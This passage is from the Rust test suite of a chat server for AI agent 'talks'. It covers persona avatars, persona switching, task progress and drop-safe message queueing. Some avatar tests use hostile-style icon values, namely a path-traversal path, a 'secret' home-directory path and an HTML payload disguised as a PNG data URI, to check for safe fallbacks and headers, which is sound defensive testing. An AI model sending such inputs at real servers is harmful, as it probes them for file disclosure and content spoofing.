13167             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
13168             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
13169            uri(&good),
13170            uri(&spoof),
13171            uri(&big),
13172            uri(&missing),
13173        );
13174        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13175
13176        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
13177        assert_eq!(
13178            (status, ct.as_str(), nosniff),
13179            (StatusCode::OK, "image/png", true)
13180        );
13181        assert_eq!(body, tiny_png());
13182        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
13183        assert_eq!(ct, "image/png", "data URI");
13184
13185        for p in ["misato", "asuka", "shinji", "magi"] {
13186            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
13187            assert_eq!(
13188                (status, ct.as_str(), csp),
13189                (StatusCode::OK, "image/svg+xml", true),
13190                "{p}"
13191            );
13192            assert!(body.starts_with(b"<svg"), "{p}");
13193        }
13194        // The page's own retry skips the icon.
13195        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
13196        assert_eq!(ct, "image/svg+xml");
13197    }
13198
13199    #[tokio::test]
13200    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
13201        let oversized = format!(
13202            "data:image/png;base64,{}",
13203            "A".repeat(persona_icon::ICON_MAX_BYTES)
13204        );
13205        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
13206            let extra = format!(
13207                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
13208            );
13209            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13210            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13211                .await
13212                .expect("detail with invalid icon");
13213            assert!(detail.personas.iter().any(|p| p.id == "custom"));
13214            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
13215            assert_eq!(status, StatusCode::OK);
13216            assert_eq!(ct, "image/svg+xml");
13217            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
13218            let Json(view) = talk_persona(
13219                State(Arc::clone(&ui)),
13220                Path(id.clone()),
13221                Json(TalkPersona {
13222                    persona: "custom".into(),
13223                }),
13224            )
13225            .await
13226            .expect("persona switch with invalid icon");
13227            assert_eq!(view.talk.persona, "custom");
13228            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
13229        }
13230    }
13231
13232    #[tokio::test]
13233    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
13234        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13235        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
13236        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
13237        assert_eq!(
13238            (status, ct.as_str(), nosniff, csp),
13239            (StatusCode::OK, "image/svg+xml", true, true)
13240        );
13241    }
13242
13243    #[tokio::test]
13244    async fn the_talk_view_carries_server_built_avatar_urls_only() {
13245        let (_t, _h, ui, id, _repo) =
13246            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
13247        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13248            .await
13249            .expect("detail");
13250        let json = serde_json::to_string(&detail).unwrap();
13251        assert!(
13252            !json.contains("secret"),
13253            "the icon setting must not leak: {json}"
13254        );
13255        assert!(
13256            detail
13257                .view
13258                .persona_avatar
13259                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
13260        );
13261        assert_eq!(
13262            detail.view.operator_avatar,
13263            format!(
13264                "/avatars/operator.svg?v={}",
13265                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
13266            )
13267        );
13268        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
13269        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
13270        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
13271        assert!(rei.avatar.contains("persona=rei&v="));
13272        assert_ne!(
13273            rei.avatar.split("&v=").nth(1),
13274            plain.avatar.split("&v=").nth(1)
13275        );
13276    }
13277
13278    #[tokio::test]
13279    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
13280        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13281        let cfg = config_for(&repo).await.unwrap();
13282        for arrived in [false, true] {
13283            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
13284            let observed = ui.queued_generation(&id);
13285            let talk = ui.talks.get(&id).unwrap();
13286            if arrived {
13287                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
13288            }
13289            let mut settling = std::pin::pin!(settle_settings_turn(
13290                talk,
13291                ui.talks.clone(),
13292                cfg.clone(),
13293                id.clone(),
13294                turn,
13295                observed
13296            ));
13297            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
13298            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
13299            assert_eq!(first.is_pending(), arrived);
13300            if arrived {
13301                assert!(!settling.await);
13302            }
13303            assert!(!ui.is_thinking(&id));
13304        }
13305    }
13306
13307    #[tokio::test]
13308    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
13309        let tmp = TempDir::new().expect("tempdir");
13310        let repo = tmp.path().join("repo");
13311        std::fs::create_dir_all(&repo).expect("repo dir");
13312        std::fs::write(
13313            repo.join("magi.toml"),
13314            format!(
13315                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
13316            ),
13317        )
13318        .expect("write magi.toml");
13319        let home = TempDir::new().expect("temp home");
13320        let talks = Talks::at(home.path().join("talks"));
13321        let ui = Arc::new(
13322            Ui::new(
13323                Queue::at(home.path().join("queue")),
13324                Questions::at(home.path().join("questions")),
13325                talks.clone(),
13326                home.path().join("runs"),
13327                home.path().to_path_buf(),
13328                repo.clone(),
13329            )
13330            .with_worktrees_root(home.path().join("wt")),
13331        );
13332        let cfg = config_for(&repo).await.expect("discover config");
13333        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13334        let id = talk.id.clone();
13335        let call = |persona: &str| {
13336            talk_persona(
13337                State(Arc::clone(&ui)),
13338                Path(id.clone()),
13339                Json(TalkPersona {
13340                    persona: persona.to_owned(),
13341                }),
13342            )
13343        };
13344
13345        let unknown = call("nobody").await.expect_err("unknown persona");
13346        assert_eq!(
13347            unknown.status,
13348            StatusCode::BAD_REQUEST,
13349            "{}",
13350            unknown.message
13351        );
13352
13353        {
13354            // Nothing refused so far took a claim, so the guard is free to take
13355            // and holding it is what makes the talk busy.
13356            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13357            let busy = call("rei").await.expect_err("busy talk");
13358            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13359            assert!(
13360                busy.message.contains("a talk turn is running"),
13361                "{}",
13362                busy.message
13363            );
13364            drop(guard);
13365        }
13366        assert_eq!(talks.get(&id).expect("reload").persona, "");
13367
13368        let Json(view) = call("gendo").await.expect("switch to a configured persona");
13369        assert_eq!(view.talk.persona, "gendo");
13370        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
13371        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13372        // No intervening I/O or sleep may be needed before another change.
13373        for chosen in ["default", "gendo", "rei", "gendo"] {
13374            let Json(view) = call(chosen).await.expect("immediate consecutive change");
13375            assert!(!view.thinking);
13376            assert!(!ui.is_thinking(&id));
13377        }
13378
13379        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13380            .await
13381            .expect("detail");
13382        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
13383        assert_eq!(ids.first(), Some(&"default"));
13384        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
13385
13386        let Json(view) = call("default").await.expect("back to default");
13387        assert_eq!(view.talk.persona, "");
13388
13389        let mut closed = talks.get(&id).expect("reload");
13390        talk::close(&mut closed, &talks).expect("close");
13391        let refused = call("rei").await.expect_err("closed talk");
13392        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13393        assert!(
13394            refused.message.contains("takes no more turns"),
13395            "{}",
13396            refused.message
13397        );
13398    }
13399
13400    #[tokio::test]
13401    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
13402        let f = Fixture::start().await;
13403        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
13404        let queue = f.queue();
13405        let mut mine = Task::new(
13406            "rename the loader".to_owned(),
13407            "rename the loader".to_owned(),
13408            PathBuf::from("/repo/magi"),
13409            Source::Agent {
13410                run: talk_id.clone(),
13411                node: "chat".to_owned(),
13412            },
13413        );
13414        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
13415        assert_eq!(empty["task_progress"]["state"], "none");
13416        assert_eq!(empty["task_progress"]["total"], 0);
13417        queue.put(&mut mine).expect("file the task");
13418        let mut theirs = Task::new(
13419            "unrelated".to_owned(),
13420            "unrelated".to_owned(),
13421            PathBuf::from("/repo/magi"),
13422            Source::Human,
13423        );
13424        // A later task linked through origin_chat alone is outside this list.
13425        theirs.origin_chat = Some(talk_id.clone());
13426        queue.put(&mut theirs).expect("file the task");
13427
13428        let res = f.get(&format!("/api/talks/{talk_id}")).await;
13429        assert_eq!(res.status, 200, "{}", res.body);
13430        let body = res.json();
13431        assert_eq!(
13432            body["status"], "open",
13433            "filing a task does not close a talk"
13434        );
13435        let tasks = body["tasks"].as_array().expect("tasks array");
13436        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
13437        assert_eq!(tasks[0]["id"], mine.id);
13438        for status in [
13439            TaskStatus::Queued,
13440            TaskStatus::Running,
13441            TaskStatus::Held,
13442            TaskStatus::Failed,
13443            TaskStatus::Blocked,
13444            TaskStatus::Parked,
13445            TaskStatus::Done,
13446            TaskStatus::Queued,
13447        ] {
13448            mine.status = status;
13449            queue.put(&mut mine).expect("update status");
13450            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
13451            let progress = &detail["task_progress"];
13452            assert_eq!(progress["total"], 1);
13453            assert_eq!(progress["counts"][status.as_str()], 1);
13454            assert_eq!(detail["tasks"][0]["status"], status.as_str());
13455            assert_eq!(detail["status"], "open", "completion never closes the chat");
13456            if status == TaskStatus::Done {
13457                assert_eq!(progress["state"], "complete");
13458                assert_eq!(progress["done"], 1);
13459                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
13460            } else {
13461                assert_eq!(progress["state"], "incomplete");
13462                assert_eq!(progress["done"], 0);
13463                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13464            }
13465        }
13466    }
13467
13468    #[test]
13469    fn talk_task_progress_counts_mixed_statuses() {
13470        let mut tasks: Vec<_> = [
13471            TaskStatus::Queued,
13472            TaskStatus::Running,
13473            TaskStatus::Held,
13474            TaskStatus::Failed,
13475            TaskStatus::Blocked,
13476            TaskStatus::Parked,
13477            TaskStatus::Done,
13478        ]
13479        .into_iter()
13480        .map(|status| {
13481            let mut task = Task::new(
13482                "task".into(),
13483                "task".into(),
13484                PathBuf::from("/repo"),
13485                Source::Human,
13486            );
13487            task.status = status;
13488            task
13489        })
13490        .collect();
13491        let progress = talk_task_progress(&tasks);
13492        assert_eq!(progress.state, "incomplete");
13493        assert_eq!(progress.total, 7);
13494        assert_eq!(progress.done, 1);
13495        assert_eq!(progress.unfinished_ids.len(), 6);
13496        assert!(progress.counts.values().all(|count| *count == 1));
13497        assert_eq!(
13498            progress.unfinished_ids,
13499            tasks[..6]
13500                .iter()
13501                .map(|task| task.id.clone())
13502                .collect::<Vec<_>>()
13503        );
13504
13505        for task in &mut tasks {
13506            task.status = TaskStatus::Done;
13507        }
13508        let complete = talk_task_progress(&tasks);
13509        assert_eq!(complete.state, "complete");
13510        assert_eq!(complete.done, 7);
13511        assert!(complete.unfinished_ids.is_empty());
13512        tasks[0].status = TaskStatus::Queued;
13513        let requeued = talk_task_progress(&tasks);
13514        assert_eq!(requeued.state, "incomplete");
13515        assert_eq!(requeued.done, 6);
13516        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13517
13518        let empty = talk_task_progress(&[]);
13519        assert_eq!(empty.state, "none");
13520        assert_eq!(empty.total, 0);
13521        assert_eq!(empty.done, 0);
13522        assert!(empty.unfinished_ids.is_empty());
13523        assert!(empty.counts.values().all(|count| *count == 0));
13524    }
13525
13526    #[tokio::test]
13527    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13528        let (_tmp, _repo, f) = talk_fixture().await;
13529        let id = f.post("/api/talks", None).await.json()["id"]
13530            .as_str()
13531            .expect("id")
13532            .to_owned();
13533
13534        let res = f
13535            .post(
13536                &format!("/api/talks/{id}/say"),
13537                Some(r#"{"text":"what does the queue module do?"}"#),
13538            )
13539            .await;
13540        assert_eq!(res.status, 202, "{}", res.body);
13541        let queued = res.json();
13542        let turns = queued["turns"].as_array().expect("turns array");
13543        assert_eq!(
13544            turns.len(),
13545            1,
13546            "the answer reflects only what is on disk the instant it is sent, \
13547             before the agent's turn - which can run for the whole of \
13548             `[graph] timeout_talk` - has a chance to land: {queued}"
13549        );
13550        assert_eq!(turns[0]["who"], "operator");
13551        assert_eq!(turns[0]["body"], "what does the queue module do?");
13552        assert_eq!(
13553            queued["thinking"], true,
13554            "the accepted response exposes the background turn claim: {queued}"
13555        );
13556
13557        let mut turns_after = 1;
13558        for _ in 0..SETTLE_STEPS {
13559            let detail = f.get(&format!("/api/talks/{id}")).await.json();
13560            turns_after = detail["turns"].as_array().expect("turns array").len();
13561            if turns_after == 2 {
13562                break;
13563            }
13564            tokio::time::sleep(Duration::from_millis(10)).await;
13565        }
13566        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13567    }
13568
13569    /// A phone that reloads mid-request drops `talk_say`'s whole handler
13570    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
13571    /// guards against: `talk::record` used to return, and only *then* did the
13572    /// handler make a second, separate disk round trip before spawning the
13573    /// agent's reply task. A future dropped in that gap left a message
13574    /// recorded on disk with no reply task ever started and no way back short
13575    /// of a fresh message - and the gap was not even the whole story: *any*
13576    /// `.await` in this handler, including the very first one, is a point
13577    /// where a drop can land after the awaited work already finished but
13578    /// before this handler's own code resumes to act on it. `record` now
13579    /// runs inside the task `tokio::spawn` hands to the runtime before this
13580    /// handler ever awaits anything of its own again, so there is nothing
13581    /// left in *this* handler's future for a disconnect to interrupt between
13582    /// the message landing on disk and the reply task starting.
13583    ///
13584    /// A real socket disconnect cannot be relied on to land in the old gap
13585    /// from a test - over loopback, `talk_say` typically finishes before the
13586    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
13587    /// same failure mode directly: it drops the task's future at whatever
13588    /// point it has reached, exactly what axum does to the handler future,
13589    /// without needing to win a real network race. Sweeping the delay before
13590    /// aborting samples a range of points the task's execution can be at,
13591    /// including where the old code sat waiting on its second disk round
13592    /// trip - confirmed by reverting this fix locally and watching this same
13593    /// sweep catch a talk stuck with the operator's turn recorded and no
13594    /// reply ever following.
13595    #[tokio::test]
13596    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13597        let tmp = TempDir::new().expect("tempdir");
13598        let repo = tmp.path().join("repo");
13599        std::fs::create_dir_all(&repo).expect("repo dir");
13600        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13601        let home = TempDir::new().expect("temp home");
13602        let talks = Talks::at(home.path().join("talks"));
13603        let ui = Arc::new(
13604            Ui::new(
13605                Queue::at(home.path().join("queue")),
13606                Questions::at(home.path().join("questions")),
13607                talks.clone(),
13608                home.path().join("runs"),
13609                home.path().to_path_buf(),
13610                repo.clone(),
13611            )
13612            .with_worktrees_root(home.path().join("wt")),
13613        );
13614        let cfg = config_for(&repo).await.expect("discover config");
13615
13616        for delay in 0..40u32 {
13617            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13618            let id = talk.id.clone();
13619
13620            let handler = tokio::spawn(talk_say(
13621                State(Arc::clone(&ui)),
13622                Path(id.clone()),
13623                Ok(Json(NewTalkTurn {
13624                    reply_to: None,
13625                    text: "what does the queue module do?".to_owned(),
13626                    attachments: Vec::new(),
13627                })),
13628            ));
13629            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13630            handler.abort();
13631            // Wait out the abort so the next iteration's talk does not race
13632            // this one's still-unwinding turn guard.
13633            let _ = handler.await;
13634
13635            let mut turns = 0;
13636            for _ in 0..SETTLE_STEPS {
13637                if let Ok(fresh) = talks.get(&id) {
13638                    turns = fresh.turns.len();
13639                    if turns != 1 {
13640                        break;
13641                    }
13642                }
13643                tokio::time::sleep(Duration::from_millis(10)).await;
13644            }
13645            assert_ne!(
13646                turns, 1,
13647                "delay {delay}: talk {id} recorded the operator's turn but \
13648                 the agent never answered - the reply task was never \
13649                 started after the handler future was dropped"
13650            );
13651        }
13652    }
13653
13654    /// The same drop, landing on `talk_say`'s other durable write.
13655    ///
13656    /// When a turn is already running, the busy branch persists the
13657    /// operator's text as a queued draft and then reclaims the turn slot if
13658    /// the holder gave it up in the meantime - and whoever reclaims owes that
13659    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
13660    /// which finishes whether or not the future awaiting it is still there,
13661    /// so a handler dropped at that `.await` used to leave the draft written
13662    /// to disk with the reclaimed guard dropped unread and no drainer ever
13663    /// started: the message sat queued until some unrelated later `say`
13664    /// happened to pick it up.
13665    ///
13666    /// This used to drive the handler future by hand, polling it a fixed
13667    /// number of times to park it at the `.await` where it asks for the turn
13668    /// and finds it busy, before the reclaim's slot-free case could be set up
13669    /// underneath it. That assumed a fixed number of polls lands at a fixed
13670    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
13671    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
13672    /// poll, so any number of this handler's several `blocking` awaits can
13673    /// collapse into one poll under load, landing the drive somewhere other
13674    /// than intended - including, occasionally, straight past the handler's
13675    /// own completion, which made polling it again panic with "async fn
13676    /// resumed after completion". No poll count fixes that; the handler's
13677    /// progress simply is not something a caller outside it can observe by
13678    /// counting.
13679    ///
13680    /// [`BusyQueueGate`] replaces the poll count with a real stop point
13681    /// inside the write itself, so the interleaving under test is pinned by
13682    /// an event instead of a guess: the gate fires only once the handler has
13683    /// actually decided `Busy` and is about to persist the draft, and it
13684    /// blocks that write until the test lets it through. Between those two
13685    /// moments the test drains the turn the handler found busy - through
13686    /// `drain_loop`, the protocol's other half - and then aborts the handler
13687    /// task outright, the same way axum drops a disconnected request's
13688    /// future. The write, and the reclaim it may do, run to completion
13689    /// regardless: they live in the `tokio::spawn` task the busy branch hands
13690    /// to the runtime before ever touching the gate, wholly independent of
13691    /// whether the handler that started it is still around - which is what
13692    /// this test is actually checking. A drainer other than that reclaim
13693    /// cannot exist here: the test's own `drain_loop` call happens before the
13694    /// gate opens, so it runs while the queue is still empty and hands the
13695    /// turn straight back rather than draining anything, closing off the
13696    /// possibility of the final assertion passing without the reclaim ever
13697    /// having done its job.
13698    #[tokio::test]
13699    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13700        let tmp = TempDir::new().expect("tempdir");
13701        let repo = tmp.path().join("repo");
13702        std::fs::create_dir_all(&repo).expect("repo dir");
13703        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13704        let home = TempDir::new().expect("temp home");
13705        let talks = Talks::at(home.path().join("talks"));
13706        let ui = Arc::new(
13707            Ui::new(
13708                Queue::at(home.path().join("queue")),
13709                Questions::at(home.path().join("questions")),
13710                talks.clone(),
13711                home.path().join("runs"),
13712                home.path().to_path_buf(),
13713                repo.clone(),
13714            )
13715            .with_worktrees_root(home.path().join("wt")),
13716        );
13717        let cfg = config_for(&repo).await.expect("discover config");
13718
13719        for attempt in 0..3u32 {
13720            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13721            let id = talk.id.clone();
13722            // A turn is already running, which is what sends `talk_say` down
13723            // the busy branch.
13724            let turn_guard = ui
13725                .begin_talk_turn(&id)
13726                .expect("claim the turn")
13727                .expect("a fresh talk owes nobody a turn");
13728
13729            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13730            let (release_tx, release_rx) = std::sync::mpsc::channel();
13731            ui.set_busy_queue_gate(BusyQueueGate {
13732                reached: reached_tx,
13733                release: release_rx,
13734            });
13735
13736            let handler = tokio::spawn(talk_say(
13737                State(Arc::clone(&ui)),
13738                Path(id.clone()),
13739                Ok(Json(NewTalkTurn {
13740                    reply_to: None,
13741                    text: "what does the queue module do?".to_owned(),
13742                    attachments: Vec::new(),
13743                })),
13744            ));
13745
13746            // Wait for the busy branch to actually reach the gate, rather
13747            // than for any fixed number of polls of anything - a bounded
13748            // wait rather than a bare `.await` so a regression that never
13749            // reaches the gate fails the test instead of hanging it.
13750            tokio::time::timeout(Duration::from_secs(5), reached_rx)
13751                .await
13752                .unwrap_or_else(|_| {
13753                    panic!(
13754                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13755                    )
13756                })
13757                .expect("the busy branch dropped the gate without using it");
13758
13759            // The turn that was running now finishes and gives the slot up
13760            // the way a real one does - through `drain_loop`, which finds
13761            // nothing queued yet (the write is still held at the gate) and
13762            // releases. The handler, parked inside `spawn_blocking` on the
13763            // other side of the gate, still believes the talk is busy -
13764            // exactly the interleaving the reclaim exists for.
13765            let running = talks.get(&id).expect("reload talk");
13766            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13767
13768            // Drop the handler future now, the way a reloading phone drops
13769            // it: suspended waiting on the busy branch's answer, having
13770            // itself made no more progress since it handed the write off.
13771            handler.abort();
13772            let _ = handler.await;
13773
13774            // Only now let the gated write proceed. It persists the draft
13775            // and reclaims the now-free slot from inside the task the busy
13776            // branch already spawned - unaffected by the handler's abort
13777            // above, since that task was independent of the handler's own
13778            // future from the moment it was spawned.
13779            let _ = release_tx.send(());
13780
13781            // A settled talk: the draft drained into an operator turn and
13782            // answered.
13783            let mut fresh = talks.get(&id).expect("reload talk");
13784            for _ in 0..SETTLE_STEPS {
13785                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13786                    break;
13787                }
13788                tokio::time::sleep(Duration::from_millis(10)).await;
13789                fresh = talks.get(&id).expect("reload talk");
13790            }
13791            assert!(
13792                fresh.pending.is_empty() && fresh.turns.len() == 2,
13793                "attempt {attempt}: talk {id} left the operator's text queued \
13794                 with no drainer - the reclaimed turn was dropped along with \
13795                 the handler future (pending {:?}, {} turns)",
13796                fresh.pending,
13797                fresh.turns.len()
13798            );
13799        }
13800    }
13801
13802    #[tokio::test]
13803    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13804        let (_tmp, _repo, f) = talk_fixture().await;
13805        let id = f.post("/api/talks", None).await.json()["id"]
13806            .as_str()
13807            .expect("id")
13808            .to_owned();
13809        let store = f.talks();
13810        let mut recovered = store.get(&id).expect("opened talk");
13811        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13812            .expect("persist pending draft without a live turn");
13813
13814        let edited = f
13815            .post(
13816                &format!("/api/talks/{id}/pending/edit"),
13817                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13818            )
13819            .await;
13820        assert_eq!(edited.status, 200, "{}", edited.body);
13821        assert!(edited.json()["thinking"].as_bool().unwrap());
13822
13823        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13824        for _ in 0..SETTLE_STEPS {
13825            if detail["turns"].as_array().expect("turns").len() == 2 {
13826                break;
13827            }
13828            tokio::time::sleep(Duration::from_millis(10)).await;
13829            detail = f.get(&format!("/api/talks/{id}")).await.json();
13830        }
13831        let turns = detail["turns"].as_array().expect("turns");
13832        assert_eq!(
13833            turns.len(),
13834            2,
13835            "the recovered draft must run once: {detail}"
13836        );
13837        assert_eq!(turns[0]["body"], "corrected");
13838        assert_eq!(detail["pending"], "");
13839    }
13840
13841    #[tokio::test]
13842    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13843        let tmp = TempDir::new().expect("tempdir");
13844        let repo = tmp.path().join("repo");
13845        std::fs::create_dir_all(&repo).expect("repo dir");
13846        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13847        let f = Fixture::with_repo(repo).await;
13848        let id = f.post("/api/talks", None).await.json()["id"]
13849            .as_str()
13850            .expect("id")
13851            .to_owned();
13852        let store = f.talks();
13853        let mut recovered = store.get(&id).expect("opened talk");
13854        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13855            .expect("persist pending draft without a live turn");
13856
13857        let refused = f
13858            .post(
13859                &format!("/api/talks/{id}/say"),
13860                Some(r#"{"text":"new message"}"#),
13861            )
13862            .await;
13863        assert_eq!(refused.status, 409, "{}", refused.body);
13864        assert!(refused.body.contains("resume"), "{}", refused.body);
13865        let saved = store.get(&id).expect("draft remains after refusal");
13866        assert!(saved.turns.is_empty());
13867        assert_eq!(saved.pending, "saved before restart");
13868
13869        let say_path = format!("/api/talks/{id}/say");
13870        let (first, second) = tokio::join!(
13871            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13872            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13873        );
13874        assert_eq!(first.status, 409, "{}", first.body);
13875        assert_eq!(second.status, 409, "{}", second.body);
13876        let saved = store
13877            .get(&id)
13878            .expect("draft remains after concurrent refusals");
13879        assert!(saved.turns.is_empty());
13880        assert_eq!(saved.pending, "saved before restart");
13881
13882        let resumed = f
13883            .post(&format!("/api/talks/{id}/pending/resume"), None)
13884            .await;
13885        assert_eq!(resumed.status, 202, "{}", resumed.body);
13886        let duplicate = f
13887            .post(&format!("/api/talks/{id}/pending/resume"), None)
13888            .await;
13889        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13890
13891        for _ in 0..SETTLE_STEPS {
13892            if store.get(&id).expect("talk").turns.len() == 2 {
13893                break;
13894            }
13895            tokio::time::sleep(Duration::from_millis(10)).await;
13896        }
13897        let finished = store.get(&id).expect("finished talk");
13898        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13899        assert_eq!(finished.turns[0].body, "saved before restart");
13900        assert!(finished.pending.is_empty());
13901    }
13902
13903    #[tokio::test]
13904    async fn an_image_only_recovered_draft_resumes_without_text() {
13905        let (_tmp, _repo, f) = talk_fixture().await;
13906        let id = f.post("/api/talks", None).await.json()["id"]
13907            .as_str()
13908            .expect("id")
13909            .to_owned();
13910        let uploaded = f
13911            .post_bytes(
13912                &format!("/api/talks/{id}/attachments"),
13913                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13914                PNG_BYTES,
13915            )
13916            .await;
13917        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13918        let attachment = f
13919            .talks()
13920            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13921            .expect("attachment metadata")
13922            .expect("stored attachment");
13923        let store = f.talks();
13924        let mut recovered = store.get(&id).expect("opened talk");
13925        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13926
13927        let resumed = f
13928            .post(&format!("/api/talks/{id}/pending/resume"), None)
13929            .await;
13930        assert_eq!(resumed.status, 202, "{}", resumed.body);
13931        for _ in 0..SETTLE_STEPS {
13932            if store.get(&id).expect("talk").turns.len() == 2 {
13933                break;
13934            }
13935            tokio::time::sleep(Duration::from_millis(10)).await;
13936        }
13937        let finished = store.get(&id).expect("finished talk");
13938        assert_eq!(finished.turns.len(), 2, "{finished:?}");
13939        assert!(finished.turns[0].body.is_empty());
13940        assert_eq!(finished.turns[0].attachments.len(), 1);
13941        assert!(finished.pending_attachments.is_empty());
13942    }
13943
13944    #[tokio::test]
13945    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13946        let (_tmp, _repo, f) = talk_fixture().await;
13947        let id = f.post("/api/talks", None).await.json()["id"]
13948            .as_str()
13949            .expect("id")
13950            .to_owned();
13951        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13952        assert_eq!(closed.status, 200, "{}", closed.body);
13953        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13954            .expect("serialize closed talk");
13955        for (path, body) in [
13956            (format!("/api/talks/{id}/pending/resume"), None),
13957            (
13958                format!("/api/talks/{id}/pending/clear"),
13959                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13960            ),
13961            (
13962                format!("/api/talks/{id}/pending/edit"),
13963                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13964            ),
13965            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13966        ] {
13967            let response = f.post(&path, body).await;
13968            assert_eq!(response.status, 409, "{}", response.body);
13969        }
13970        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13971            .expect("serialize closed talk");
13972        assert_eq!(
13973            after_clear, before_clear,
13974            "clear must not rewrite a closed talk"
13975        );
13976    }
13977
13978    /// Keeps both claims observable long enough to exercise the distinction
13979    /// between one busy talk and a globally locked Chat surface.
13980    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13981
13982    #[tokio::test]
13983    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13984        let tmp = TempDir::new().expect("tempdir");
13985        let repo = tmp.path().join("repo");
